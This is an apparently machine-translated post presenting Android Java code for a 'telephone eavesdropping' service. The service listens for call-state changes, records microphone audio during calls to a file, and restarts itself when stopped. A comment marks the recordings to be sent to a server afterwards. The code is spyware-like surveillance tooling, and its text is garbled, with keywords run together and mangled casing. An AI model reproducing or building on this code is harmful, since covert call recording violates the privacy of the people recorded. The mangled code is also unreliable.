Telephone Qie listening device

Business logic:

Make a recording of the phone when a call comes in or when the phone is called.

 Public classTelphoneylistenerserviceextendsService {Private Static FinalString TAG = "Telphoneylistenerservice"; Mediarecorder Mediarecorder=NULL; Telephonymanager TM=NULL; MyListener MyListener=NULL; @Override Publicibinder onbind (Intent Intent) {//Todo:return The communication channel to the service.        Throw NewUnsupportedoperationexception ("not yet implemented"); } @Override Public voidonCreate () {Super. OnCreate (); TM= (Telephonymanager) This. Getsystemservice (Context.telephony_service); MyListener=NewMyListener ();    Tm.listen (MyListener, phonestatelistener.listen_call_state); } @Override Public intOnstartcommand (Intent Intent,intFlagsintStartid) {Toast.maketext ( This, "Service started successfully", Toast.length_long). Show (); return Super. Onstartcommand (Intent, flags, Startid); } @Override Public voidOnDestroy () {Super. OnDestroy (); LOG.I (TAG,"Phone Listening service stopped"); Intent Intent=NewIntent ( This, TelphoneyListenerService1.class);        StartService (Intent);        Tm.listen (Mylistener,phonestatelistener.listen_none); MyListener=NULL; }    Private classMyListenerextendsPhonestatelistener {@Override Public voidOncallstatechanged (intState , String Incomingnumber) {            Try {                Switch(state) { CaseTelephonymanager.call_state_idle:if(Mediarecorder! =NULL) {mediarecorder.stop ();                            Mediarecorder.release (); Mediarecorder=NULL; LOG.I (TAG,"End of recording"); //Send audio files after recording to the server                        }                         Break;  Casetelephonymanager.call_state_ringing: Break;  CaseTelephonymanager.call_state_offhook://1. Turn on the recording functionLOG.I (TAG, "Start recording"); Mediarecorder=NewMediarecorder (); //2. Set the recording sourceMediarecorder.setaudiosource (MediaRecorder.AudioSource.MIC); //3. Set the output file formatMediarecorder.setoutputformat (MediaRecorder.OutputFormat.DEFAULT); //4. Set the output file nameFile File =NewFile (Environment.getexternalstoragedirectory (), System.currenttimemillis () + ". 3gp");                        Mediarecorder.setoutputfile (File.getabsolutepath ()); //5. Set the encoding formatMediarecorder.setaudioencoder (MediaRecorder.AudioEncoder.DEFAULT); //6. PreparationMediarecorder.prepare (); //7. StartMediarecorder.start ();  Break; }            } Catch(Exception e) {e.printstacktrace (); }        }    }}

Telephone Qie listening device